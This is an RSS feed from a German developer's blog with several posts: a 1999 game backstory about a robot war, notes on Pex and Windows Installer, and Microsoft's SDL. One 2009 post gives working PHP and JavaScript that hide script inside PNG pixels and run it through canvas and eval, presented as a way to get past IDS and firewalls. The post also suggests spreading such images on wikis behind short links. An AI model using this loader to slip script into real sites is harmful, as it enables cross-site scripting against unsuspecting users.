<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MrMarco bloggt nicht &#187; Programmieren</title>
	<atom:link href="http://www.highantdev.de/blog/category/programmieren/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.highantdev.de/blog</link>
	<description>Ein Blog über meine Projekte, mich und was sonst noch so existiert</description>
	<lastBuildDate>Sun, 05 Feb 2012 20:08:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Battle&#8211;Ein altes Spieleprojekt von 1999</title>
		<link>http://www.highantdev.de/blog/2011/01/01/battleein-altes-spieleprojekt-von-1999/</link>
		<comments>http://www.highantdev.de/blog/2011/01/01/battleein-altes-spieleprojekt-von-1999/#comments</comments>
		<pubDate>Sat, 01 Jan 2011 20:30:00 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[Battle]]></category>
		<category><![CDATA[Persönliches]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Teaser]]></category>

		<guid isPermaLink="false">http://www.highantdev.de/blog/2011/01/01/battleein-altes-spieleprojekt-von-1999/</guid>
		<description><![CDATA[Beim Aufräumen meiner alten Backups bin ich auf ein paar alte Teile der Hintergrundgeschichte zu Battle gestoßen. Keine Ahnung ob die was taugen, aber vielleicht helfen sie dem einen oder anderen dabei eine Idee für ein eigenes Spiel zu bekommen. Vorgeschichte Wir, die wir noch leben, sind die letzten Vertreter der Menschlichen Rasse. Jahrtausende lang [...]]]></description>
			<content:encoded><![CDATA[<p>Beim Aufräumen meiner alten Backups bin ich auf ein paar alte Teile der Hintergrundgeschichte zu Battle gestoßen.</p>
<p>Keine Ahnung ob die was taugen, aber vielleicht helfen sie dem einen oder anderen dabei eine Idee für ein eigenes Spiel zu bekommen.</p>
<blockquote><h3><font color="#ffffff">Vorgeschichte</font></h3>
<p><font color="#ffffff">Wir, die wir noch leben, sind die letzten Vertreter der Menschlichen Rasse. Jahrtausende lang haben wir die Erde bevölkert, unsere Anzahl ging in die Milliarden und plötzlich&#8230;</font></p>
<p><font color="#ffffff">Außer uns, wir die die Wächter genannt werden, gibt es nur noch ein paar wenige. Es sind vielleicht gerade mal ein paar tausend, welche gut behütet, tief unter der Erde, in ihren Cryogenischen Schlafkammern liegen und darauf warten, dass wir sie wieder wecken.</font></p>
<p><font color="#ffffff">Aber die Zeit ist noch nicht reif. Wir würden untergehen, sobald wir wieder zurück an die Oberfläche gehen. Lange können wir aber nicht mehr warten. Die Störungen und Komplettausfälle der Cryogenischen Schlafkammern häufen sich und wir haben nicht mehr das Wissen und die Technik alle Schäden zu beheben. Es sind schon einige dadurch in ihren Schlafkammern gestorben.</font></p>
<p><font color="#ffffff">Vielleicht ist es ja unser Schicksal, dass uns unsere eigenen Schöpfungen vernichten. Keiner weis mehr genau was damals geschah und warum wir verloren haben. Die Archive sind auch nicht mehr vollständig. Manchmal vermute ich, dass bestimmte Teile gezielt gelöscht wurden.</font></p>
<p><font color="#ffffff">Ich habe versucht die einzelnen Fragmente, welche noch erhalten waren, wieder zu einem Gesamten zusammenzufügen, aber es gibt immer noch viel zu viel, was unklar oder vielleicht für immer verloren ist.</font></p>
<p><font color="#ffffff">Das einzige was ich mit absoluter Gewissheit sagen kann ist, dass wir selbst an unserer jetzigen Lage schuld sind. Vielleicht ist es besser wenn ich dir das wenige was ich weis erzähle.</font></p>
<p><font color="#ffffff"></font></p>
<p><font color="#ffffff">Den Berichten zufolge fing alles kurz nach Anfang des 2. Jahrtausends an. Das damalige Weltweite Datennetz, früher als Internet bekannt, befand sich gerade im Umbruch. Durch technische Neuerungen war es jetzt möglich sich über ein Interface, welches im Gehirn implantiert wurde, direkt in das Netz einzuklinken. Die Kommunikationsmöglichkeiten explodierten ins schier       <br />Grenzenlose und viele Menschen verbrachten mehr Zeit in dieser Virtuellen Realität als im wirklichen Leben.</font></p>
<p><font color="#ffffff">Wenige Jahre später kollabierte das Netz, warum ist mir unklar. Manche Archivdateien enthalten Hinweise auf einen neuartigen Computervirus, welcher Künstliche Intelligenz besäße, andere wiederrum deuten darauf hin, dass das Militär daran schuld wäre.</font></p>
<p><font color="#ffffff">Der Zusammenbruch des Netzes hatte zur Folge, dass viele Computersysteme verrückt spielten. Das Weltweite Finanzsystem brach vollständig zusammen. Da sich jeder auf das Netz verlassen hatte, gab es auch keine Kommunikation mehr.</font></p>
<p><font color="#ffffff">Als man dann nach ein paar Tagen wieder das Netz hergestellt hatte, waren viele Daten verloren. Auch die Kommunikation funktionierte nicht mehr richtig. Es gab einige Gebiete auf der Welt, welche man einfach nicht mehr erreichen konnte.</font></p>
<p><font color="#ffffff">Viele Menschen wunderten sich darüber, machten sich aber wenig Sorgen. Man hoffte darauf, dass bald wieder alles besser würde. Aber stattdessen wurden es immer mehr Gebiete, welche nicht mehr zu erreichen waren. Am Anfang waren es nur Dörfer in abgelegenen Gebieten. Aber bald waren es auch Städte und schnell mehrten sich die besorgten Stimmen. Da man selbst kaum noch das       <br />Haus verlies, den schließlich konnte man durch das Netz auch von zuhause aus arbeiten, wusste keiner genau, was wirklich geschah.</font></p>
<p><font color="#ffffff">Erst als man in der Ferne ein Grollen und Donnern hörte, wurden den Menschen klar, warum die&#160; anderen nicht mehr zu erreichen waren. Es war Krieg.</font></p>
<p><font color="#ffffff">Aber wer kämpfte gegen wenn und warum? Das Militär schwieg auf die Fragen der Bevölkerung und auch die Presse brachte keine Nachrichten darüber. Es war so, als ob etwas schreckliches geschehen wäre und keiner durfte etwas darüber erzählen.</font></p>
<p><font color="#ffffff">Tage später wusste man warum das Militär schwieg. Das Militär kämpfte gegen Roboter. Manche waren fast 10 Meter groß, andere gerade mal so groß wie ein Mensch. Aber sie schienen unzerstörbar zu sein. Für jeden der fiel, tauchte ein neuer auf und bald wurden die Frontlinien überrannt. Die       <br />wenigen Einheiten, welchen die Flucht gelangt war, erzählten von grausamen Gemetzeln. Manche erzählten, dass diese Roboter Kampfmaschinen des Militärs waren, welche sich jetzt gegen ihre Schöpfer wandten.</font></p>
<p><font color="#ffffff">Einige wenige erzählten, dass es gar weit hinter den Linien noch grausamere Maschinen gab, welche die anderen steuerten.</font></p>
<p><font color="#ffffff">Es kam was kommen musste, man entschied sich Nukleare Waffen gegen den Feind einzusetzen. Die entsprechende Order wurde über das Netz weiter gegeben und man merkte erst kurz vor der Explosion er ersten Bomben, dass das Netz vom Feind gesteuert wurde. die Bomben fielen nicht auf den Feind, sondern auf uns selbst.</font></p>
<p><font color="#ffffff">Die wenigen welche überlebten, retteten sich in die Berge, wohin die Roboter nicht kommen konnten und gruben sich Bunker, welche tief in die Erde reichten. Dort liegen sie nun, in ihren Cryogenischen Schlafkammern und warten auf den Tag, wo sie wieder zurück auf die Oberfläche kommen       <br />können.</font></p>
<p><font color="#ffffff">Jetzt weist du alles, was auch ich weis. Jeden Monat werden wir Wächter geweckt um Sonden zu entsenden, mit welchen wir prüfen ob es noch Feinde dort oben gibt. Es wurden schon lange keine mehr gesehen, aber wir wissen das sie schlau sind. Sie warten, sie warten darauf, dass wir wieder zurück kommen und sie uns komplett vernichten können.</font></p>
<p><font color="#ffffff">Vielleicht kommt ja irgendwann einmal der Tag, an welchem wir wieder den Himmel sehen werden. Vielleicht gibt es ja sogar noch andere wie uns, welche sich auch retten konnten.</font></p>
<p><font color="#ffffff"></font></p>
<h3><font color="#ffffff">Das Erwachen</font></h3>
<p><font color="#ffffff">Mensch ist mir kalt war mein erster Gedanke.&#160; Ich brauchte eine Weile um mich zu orientieren, aber plötzlich wurde es mir schlagartig klar wo ich mich befand. Ich war in einer Cryogenischen Schlafkammer und irgendwas hatte das Aufweckprogramm gestartet. War es etwa endlich soweit? Konnten wir wieder zurück kehren auf die Oberfläche?</font></p>
<p><font color="#ffffff">Mit einem Zischen glitt die Luke der Cryogenischen Schlafkammer auf und gab den Blick auf die vielen anderen Schlafkammern frei. Die Schlafkammern waren in einem Kreis um den Zentralen Schacht aufgestellt, welcher sich hunderte von Stockwerken nach oben und nach unten erstreckte.       <br />Es waren so viele Schlafkammern, alle waren besetzt, aber wir hatten trotzdem nicht alle retten können.</font></p>
<p><font color="#ffffff">Was war mit ihnen geschehen? Hatten die Maschinen sie wie die anderen dahin gemetzelt. Nur um den einen Befehl zu Ende zu führen, der lautete: Tötet alle Menschen. Es war grausam. Die Maschinen stürmten über alle unsere Verteidungsstellungen hinweg als ob sie gar nicht vorhanden wären. Für jede von uns zerstörte Maschine tauchten 2 weitere auf.</font></p>
<p><font color="#ffffff">Am Anfang dachten wir noch wir könnten gewinnen, aber selbst der verzweifelte Einsatz der Atombomben brachte nichts mehr. Die Maschinen hatten sich schon zu sehr verbreitet. Wir zerstörten unsere eigene Welt um unsere eigenen Geschöpfe zu zerstören.</font></p>
<p><font color="#ffffff">Ich bin kein besonders Gläubiger Mensch, aber war es nicht Ironie das wir versuchten Gott nachzueifern und so stolz über unsere Schöpfung waren, das wir ganz übersehen hatten, dass sie genauso Fehlerhaft war wie ihre Schöpfer. Als wir dies merkten war es zu spät. Viel zu spät. Zum Ende des Krieges hatten von den Aber Milliarden Menschen die ehemals auf der Erde lebten, nur noch ein paar Millionen überlebt.</font></p>
<p><font color="#ffffff">Bei der großen Flucht vor den Maschinen starben in wenigen Tagen noch mehr Menschen, als in den Wochen zuvor. Eiligst wurden Bunker mehrere Kilometer tief in die Erde getrieben und dort soviel Material untergebracht wie möglich. Die ganze Zeit über mussten die Maschinen abgelenkt werden, damit sie unsere Flucht in die Bunker nicht bemerkten. Viele gute Soldaten starben zu dieser Zeit. Es ging schon lange nicht mehr um den Sieg über der Feind. Es ging um das nackte Überleben der Menschheit.</font></p>
<p><font color="#ffffff">Beinahe hätten die Maschinen es geschafft den Hauptbunker zu finden, aber ein verzweifelter Einsatz einer der letzten Truppen stoppte sie lange genug. Die Soldaten gingen ohne zu Zögern in den Tod. Sie stürmten auf die Maschinen zu, durchbrachen ihre Linien und zündeten in ihrer Mitte eine der letzten noch vorhandenen Atombomben. Die Wucht der Explosion spürte man noch im Bunker.</font></p>
<p><font color="#ffffff">Sie war so gewaltig, dass die Eingänge zum Bunker verschüttet wurden, was uns wohl das Leben rettete. Für die Maschinen waren wir nicht mehr da. Keiner weis wie viele Menschen die Maschinen noch töteten. Eine Weile lang hatten wir noch Kontakt zu den Satelliten, aber dieser brach auch bald ab, als die Maschinen die Satelliten zerstörten.</font></p>
<p><font color="#ffffff"></font></p>
<h3><font color="#ffffff">Kontakt!</font></h3>
<p><font color="#ffffff">Wir waren nun seit etwa 2 Stunden wieder aus unserem Cryogenischem Schlaf erwacht und noch immer wusste keiner was den geschehen wahr. Das Aufweckprogramm wurde allem Anschein nach von außen gestartet, nur konnte keiner feststellen von wem.</font></p>
<p><font color="#ffffff">Viele von den Zivilisten irrten Ziel und Planlos durch die Gänge und Ebenen. Viele hatten es damals im letzten Moment noch in den Bunker geschafft und wurden einfach in die erstbesten Schlafkammern untergebracht die man finden konnte. Viele Familien wurden dadurch auseinander gerissen.</font></p>
<p><font color="#ffffff">Außerdem wahr das übrig gebliebene Technische und Medizinische Personal durch das gleichzeitige Aufwecken aller Personen so sehr überfordert, dass man einige in ihren Schlafkammern vergessen hatte. Dies währe nicht weiter schlimm gewesen, aber nicht jede hatte sich von selbst geöffnet. Man fand Tage später nur noch wenige davon Lebend in ihren Schlafkammern an.</font></p>
<p><font color="#ffffff">Unser größtes Problem aber war, dass es nicht genügend Vorräte gab. Am Anfang wollte man die Leute einfach wieder in die Cryogenischen Schlafkammern zurück schicken, aber durch einen Computerfehler konnten die Schlafkammern nicht mehr neu benutzt werden.</font></p>
<p><font color="#ffffff">Unser anderes Problem war, dass wir noch nicht mal feststellen konnten, wie es im Moment auf der Oberfläche aussah. Alle unsere Sonden wahren zerstört oder konnten von uns nicht mehr erreicht werden. Unsere Offiziere beschlossen deshalb, dass man eine Kundschafter Truppe nach oben schicken sollte um das Gelände zu erkunden und eine kleine Basis zu errichten.</font></p>
<p><font color="#ffffff">Mein Zug war dann schließlich derjenige dem diese Aufgabe zufiel. So richtig scharf wahren wir nicht darauf, aber es wahr auf jeden Fall besser, als weiterhin hier unten zu bleiben. Das Chaos nahm von Minute zu Minute zu und es gab sogar schon Gerüchte darüber, dass die Reaktoren im Moment aufgrund der vielen Maschinen die durch das Aufwecken gestartet worden wahren, schon mehr als nur überlastet währen.</font></p>
<p><font color="#ffffff"></font></p>
<p><font color="#ffffff"></font></p>
<p><font color="#ffffff">Vorsichtig traten wir aus dem dunklen Höhleneingang ins helle Tageslicht hinein. Geblendet Schloss ich kurz die Augen, rieß sie aber schnell wieder auf um einen Blick auf mein Strahlungsmesser zu werfen. Die Strahlung wahr nicht viel höher als normal. Dies wahr seltsam. Kurz bevor damals alle in den Cryogenischen Schlaf versetzt worden sind, hatte eine der letzten verbliebenen Einheiten in einer Verzweiflungstat eine Atombombe gezündet, um den vorrückenden Feind zu stoppen. Dies wahr in unmittelbarer Nähe geschehen, aber es gab überhaupt keine Anzeichen darüber.</font></p>
<p><font color="#ffffff">Wir überprüften vorsichtig die nähere Umgebung, aber es wahr kein Feind zu entdecken. Dies wahr wirklich seltsam. Eigentlich hatten wir erwartet, dass die Bots auf uns warten würden. Es wahren Maschinen und als solche kannten sie keine Ungeduld. Maschinen hielten immer an ihrem Programm fest und laut diesem, würden sie einfach auf uns warten und uns nach unserem Auftauchen sofort wieder angreifen.</font></p>
<p><font color="#ffffff">Was wahr geschehen? Wir befanden uns gerade auf dem Rückweg zum provisorischem Feldlager, als ich eine Funkeln auf einem Abhang sah. Ich gab meinen Kameraden ein Zeichen und vorsichtig krochen wir auf das etwas zu was dort in der Sonne so glitzerte.</font></p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.highantdev.de/blog/2011/01/01/battleein-altes-spieleprojekt-von-1999/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Canvas isn&#8217;t your friend!</title>
		<link>http://www.highantdev.de/blog/2009/02/08/canvas-isnt-your-friend/</link>
		<comments>http://www.highantdev.de/blog/2009/02/08/canvas-isnt-your-friend/#comments</comments>
		<pubDate>Sun, 08 Feb 2009 18:03:05 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.highantdev.de/blog/?p=394</guid>
		<description><![CDATA[Today, i have to write in english to get this to more readers. At first&#8230; i don&#8217;t know if this is new, but if it is, then it will be interesting to see, for what it will be used&#8230; Canvas is not very well known. First introduced by Apple and today implemented in browsers like [...]]]></description>
			<content:encoded><![CDATA[<p>Today, i have to write in english to get this to more readers. </p>
<p>At first&#8230; i don&#8217;t know if this is new, but if it is, then it will be interesting to see, for what it will be used&#8230; </p>
<p><a href="http://en.wikipedia.org/wiki/Canvas_(HTML_element)" target="_blank">Canvas</a> is not very well known. First introduced by Apple and today implemented in browsers like Safari, Opera and Firefox. </p>
<p>For most people, it is only known for generating pictures and 3D Animations. But you can missuse it for bypassing ids, firewalls and so on&#8230; </p>
<p>I&#8217;m not good at explaining thing, but i will try it <img src='http://www.highantdev.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  </p>
<p>For our example, we don&#8217;t obfuscate anything! </p>
<p>At first we have to know something about png files. Every pixel is build up from 4 Bytes. </p>
<p>Red, Green, Blue and the Alphachannel. To make it easier, we will only use Red, Green and Blue to store data in it. </p>
<p>The sideeffect of the not used Alphachannel is, that every forth byte, there is something useless in it and your code has some lowlevel obfuscating <img src='http://www.highantdev.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  </p>
<p>At first, we need a code to generate the image which contains the malicious code. </p>
<p>Let&#8217;s call it <strong>badpicture.php</strong> </p>
<div style="margin-left: 20px; background-color: #cfcfcf">
<pre>&lt;?php
// Figure it out by yourself <img src='http://www.highantdev.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />
$strExploit = 'alert(&quot;xss&quot;);//';

$lngX = 0;
$lngY = 0;

// Make it big enough for your code...
$im = imagecreate(256, 5);

// Now here starts the interesting part
for ($lngPos = 0; $lngPos &lt; strlen($strExploit); $lngPos+=3)
{
  $strByte1 = substr ($strExploit, $lngPos, 1);
  $strByte2 = substr ($strExploit, $lngPos+1, 1);
  $strByte3 = substr ($strExploit, $lngPos+2, 1);

  $objColor = ImageColorAllocate ($im, ord($strByte1), ord($strByte2), ord($strByte3));

  imagesetpixel($im, $lngX, $lngY, $objColor);

  $lngX++;

  if ($lngX &gt;= 128)
  {
    $lngX = 0;
    $lngY++;
  }
}

// And now we send it to the browser
header (&quot;Content-type: image/png&quot;);
imagepng($im); // output the stream directly
imagedestroy($im);
?&gt;</pre>
</div>
<p>Ok, Step one is done. What we now need, is a loader. For better reading, i have formated it and put the code in to a html document. </p>
<p></p>
<div style="margin-left: 20px; background-color: #cfcfcf">
<pre>&lt;html&gt;
&lt;body&gt;
Nothing here to read...

&lt;script&gt;
var c=document.createElement(&quot;canvas&quot;);
g=c.getContext(&quot;2d&quot;);
i=new Image();
i.src=&quot;http://domain.tld/badpicture.php&quot;;
i.onload=function() {
  g.drawImage(this,0,0);
  o=g.getImageData(0,0,256,5).data;
  eval(&quot;d=String.fromCharCode(&quot;+o+&quot;).replace(/ÿ/g,'')&quot;);
  eval(d);
}
&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;</pre>
</div>
<p>That&#8217;s all ! </p>
<p>To extend this idea more, think about <a href="http://en.wikipedia.org/wiki/Steganography" target="_blank">Steganography</a>, Obfuscating the loader, Multistage Loaders, pre generated pictures with the correct file extension, PNG Compression&#8230; </p>
<p>Think about the attack vectors&#8230; generate a new entry in a wiki with legal content, with a normal picture (normal vor human eyes) and refer to this picture using tinyurl&#8230; </p>
<p>A short note has to be placed&#8230; Opera is using a <strong>Same URI Policy</strong>, so you have to do more, than only to generate a picture and place it somewhere. There are ways around it. </p>
<p>And remember&#8230; Canvas is part of the HTML 5 specification.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.highantdev.de/blog/2009/02/08/canvas-isnt-your-friend/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WTF? What&#8217;s this popping up in my browser?</title>
		<link>http://www.highantdev.de/blog/2009/02/06/wtf-whats-this-popping-up-in-my-browser/</link>
		<comments>http://www.highantdev.de/blog/2009/02/06/wtf-whats-this-popping-up-in-my-browser/#comments</comments>
		<pubDate>Fri, 06 Feb 2009 15:09:06 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.highantdev.de/blog/?p=391</guid>
		<description><![CDATA[Something to think about: Canvas Example So take a look at it, figure out how it works. In two days, i will post an explanating of it and how this can be a problem for you. Btw&#8230; It works only on firefox, opera and safari (as far as i know), and there are no alert [...]]]></description>
			<content:encoded><![CDATA[<p>Something to think about:</p>
<p><a href="http://highantdev.de/fft/test4.htm" target="_blank">Canvas Example</a></p>
<p>So take a look at it, figure out how it works.</p>
<p>In two days, i will post an explanating of it and how this can be a problem for you.</p>
<p>Btw&#8230; It works only on firefox, opera and safari (as far as i know), and there are no alert and no xss Text inside <img src='http://www.highantdev.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  </p>
]]></content:encoded>
			<wfw:commentRss>http://www.highantdev.de/blog/2009/02/06/wtf-whats-this-popping-up-in-my-browser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pex</title>
		<link>http://www.highantdev.de/blog/2008/12/26/pex/</link>
		<comments>http://www.highantdev.de/blog/2008/12/26/pex/#comments</comments>
		<pubDate>Fri, 26 Dec 2008 14:25:50 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Programmieren]]></category>

		<guid isPermaLink="false">http://www.highantdev.de/blog/?p=379</guid>
		<description><![CDATA[Pex ist eine feine Ergänzung zu NUnit und FXCop. Man kann sehr einfach seine Klassen auf fehlende Prüfungen, fehlende Abfragen und noch einige andere Dinge testen lassen. Besonderst hervorzuheben ist das Feature, dass Pex bei den Übergabeparametern verschiedene Inhalte übergibt, um darüber dann zu ermitteln, welche Inhalte nicht passen oder nicht sauber abgefangen werden. Außerdem [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://images.highantdev.de/Blog/Pex_Logo.png" alt="Pex Logo" style="float:left;padding-right:20px;"/> Pex ist eine feine Ergänzung zu <a href="http://www.nunit.org">NUnit</a> und <a href="http://msdn.microsoft.com/de-de/library/ms229042.aspx">FXCop</a>.</p>
<p>Man kann sehr einfach seine Klassen auf fehlende Prüfungen, fehlende Abfragen und noch einige andere Dinge testen lassen.</p>
<p>Besonderst hervorzuheben ist das Feature, dass Pex bei den Übergabeparametern verschiedene Inhalte übergibt, um darüber dann zu ermitteln, welche Inhalte nicht passen oder nicht sauber abgefangen werden.</p>
<p>Außerdem kann man mit Pex auch leicht noch fehlende Unittests erzeugen lassen.</p>
<p>Microsoft (ja von denen ist Pex) hat auf Channel 9 ein Video über Pex, zu welchem ihr hier kommen könnt:</p>
<p><a href="http://channel9.msdn.com/posts/briankel/Pex-Automated-Exploratory-Testing-for-NET/">Channel 9 Video zu Pex</a></p>
<p>Ein paar weitere gute Quellen zu Pex kann man hier finden:</p>
<p><a href="http://www.codeproject.com/KB/testing/pex.aspx">Getting started with automated white box testing (and Pex)</a><br />
<a href="http://research.microsoft.com/pex">Pex &#8211; Automated White box Testing for .NET</a><br />
<a href="http://www.codeplex.com/Pex">Pex Extensions auf Codeplex</a><br />
<a href="http://social.msdn.microsoft.com/Forums/en-US/pex/threads/">Forum zu Pex bei Microsoft</a></p>
<p>Pex kommt bei mir im Moment zum gezielten Prüfen von Klassen zum Einsatz. Den Part mit dem Erzeugen von Unittests verwende ich nicht. Ich schreibe meine Unittests gerne selbst und habe gerade da die lieber die volle Kontrolle über das was ich mache.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.highantdev.de/blog/2008/12/26/pex/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Setup requires Windows Installer 4.5 or higher&#8230;</title>
		<link>http://www.highantdev.de/blog/2008/12/24/setup-requires-windows-installer-45-or-higher/</link>
		<comments>http://www.highantdev.de/blog/2008/12/24/setup-requires-windows-installer-45-or-higher/#comments</comments>
		<pubDate>Wed, 24 Dec 2008 16:30:13 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[Programmieren]]></category>

		<guid isPermaLink="false">http://www.highantdev.de/blog/?p=372</guid>
		<description><![CDATA[Ich wollte heute eigentlich nur mal den SQL Server 2008 Express installieren und dann wirft mir das Setup doch bei einem aktuellen Vista x64 Ultimate System die Fehlermeldung an den Kopf, dass man nicht den benötigten Windows Installer hätte. Das Windows Update wollte mir das nicht geben. Laut dem liegt nichts für mein System als [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://images.highantdev.de/Blog/SQLServer2008Express_Installerfehler.png" alt="SQL Server 2008 Express Installations Fehlermeldung wegen fehlendem Windows Installer 4.5 unter Vista" / style="float:right;padding-left:20px;"/> Ich wollte heute eigentlich nur mal den <a href="http://www.microsoft.com/express/sql/default.aspx">SQL Server 2008 Express</a> installieren und dann wirft mir das Setup doch bei einem aktuellen Vista x64 Ultimate System die Fehlermeldung an den Kopf, dass man nicht den benötigten Windows Installer hätte.</p>
<p>Das Windows Update wollte mir das nicht geben. Laut dem liegt nichts für mein System als Update vor. </p>
<p>Hmmm&#8230;</p>
<p>Eine kurze Suche bei einer Suchmaschine erbrachte dann das folgende Blog:</p>
<p><a href="http://blogs.msdn.com/Windows_Installer_Team/">Windows Installer Team Blog</a></p>
<p>Und dort war auch die Rede von einer neuen Version, welche man sich installieren kann.</p>
<p>Hier die Links:</p>
<p><a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=5A58B56F-60B6-4412-95B9-54D056D6F9F4&#038;displaylang=en">Windows Installer 4.5 Englische Version</a></p>
<p><a href="http://www.microsoft.com/downloads/details.aspx?familyid=5A58B56F-60B6-4412-95B9-54D056D6F9F4&#038;displaylang=de">Windows Installer 4.5 Deutsche Version</a></p>
<p>Btw&#8230; die folgende Version ist für Vista x64:</p>
<p><em>Windows6.0-KB942288-v2-x64.msu</em></p>
<p>Und da nichts Fehlerfrei ist, was mehr als ein NOP als Befehl hat&#8230;</p>
<p>hier ein Update:</p>
<p><a href="http://blogs.msdn.com/windows_installer_team/archive/2008/12/05/update-to-msi-4-5-kb958655.aspx">Update to MSI 4.5 (KB958655)</a></p>
<p>Das Update natürlich nur einspielen, wenn man Probleme ohne hat&#8230; ähm ja&#8230; klar&#8230; wie auch immer.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.highantdev.de/blog/2008/12/24/setup-requires-windows-installer-45-or-higher/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft will drei neue Sicherheitskonzepte veröffentlichen *Update*</title>
		<link>http://www.highantdev.de/blog/2008/09/17/microsoft-will-drei-neue-sicherheitskonzepte-veroffentlichen/</link>
		<comments>http://www.highantdev.de/blog/2008/09/17/microsoft-will-drei-neue-sicherheitskonzepte-veroffentlichen/#comments</comments>
		<pubDate>Wed, 17 Sep 2008 05:13:00 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.highantdev.de/blog/?p=274</guid>
		<description><![CDATA[Microsoft geht einen weiteren Schritt in Richtung sicherer Software, wie man hier und insbesondere hier lesen kann. Grundlage des Ganzen ist ein von Microsoft erstelltes Secure Development Lifecycle (SDL) Optimization Model, nicht zu verwechseln mit Simple DirectMedia Layer (SDL), welches meiner Meinung nach als Ergänzung zu den Best Practices zu sehen ist. Natürlich wird es [...]]]></description>
			<content:encoded><![CDATA[<p>Microsoft geht einen weiteren Schritt in Richtung sicherer Software, wie man <a href="http://www.securityfocus.com/brief/820">hier</a> und insbesondere <a href="http://msdn.microsoft.com/en-us/security/cc967276.aspx">hier</a> lesen kann.</p>
<p>Grundlage des Ganzen ist ein von Microsoft erstelltes Secure Development Lifecycle (SDL) Optimization Model, nicht zu verwechseln mit <a href="http://libsdl.org/">Simple DirectMedia Layer (SDL)</a>, welches meiner Meinung nach als Ergänzung zu den <a href="http://www.microsoft.com/mspress/books/8198.aspx">Best Practices</a> zu sehen ist.</p>
<p>Natürlich wird es auch wieder die Möglichkeit geben, über ein Zertifizierungsprogramm eines dieser netten Dokumente zu erhalten, welche einige zum Zimmertapezieren verwenden. <img src='http://www.highantdev.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Nicht das so ein Zertifikat vom Können des Besitzers zeugen würde&#8230; auswendig lernen kann jeder <img src='http://www.highantdev.de/blog/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Verfügbar wird das Ganze ab November sein. Ich bin echt mal gespannt, was Microsoft sich da so alles ausgedacht hat. Fakt ist, dass sie das Problem von Sicherheitsrisiken durch Fremdsoftware angehen wollen.</p>
<p>Lobenswert! Da können sich die OpenSource Frickler mal eine dicke Scheibe von Abschneiden. <img src='http://www.highantdev.de/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><strong>Update</strong></p>
<p>Eines der schon <a href="http://msdn.microsoft.com/en-us/security/cc421514.aspx">verfügbaren Tools</a> kann man sich <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=29a6d444-9954-41f3-9666-3688417b5e08&#038;displaylang=en">hier</a> im Einsatz ansehen, oder <a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=59888078-9DAF-4E96-B7D1-944703479451&#038;displaylang=en">hier</a> herunter laden.</p>
<p><a href="http://images.highantdev.de/Blog/Threat_Analysis_and_Modeling_Launchpad.png""><img src="http://images.highantdev.de/Blog/Threat_Analysis_and_Modeling_Launchpad_small.png" width="331" height="240" alt="Threat Analysis and Modeling Launchpad"/></a></p>
<p><a href="http://images.highantdev.de/Blog/Threat_Analysis_and_Modeling_Mainwindow.png"><img src="http://images.highantdev.de/Blog/Threat_Analysis_and_Modeling_Mainwindow_small.png" width="344" height="240" alt="Threat Analysis and Modeling Mainwindows"/></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.highantdev.de/blog/2008/09/17/microsoft-will-drei-neue-sicherheitskonzepte-veroffentlichen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unittests für Datenbankschnittstellen</title>
		<link>http://www.highantdev.de/blog/2008/08/26/unittests-fur-datenbankschnittstellen/</link>
		<comments>http://www.highantdev.de/blog/2008/08/26/unittests-fur-datenbankschnittstellen/#comments</comments>
		<pubDate>Tue, 26 Aug 2008 09:37:32 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
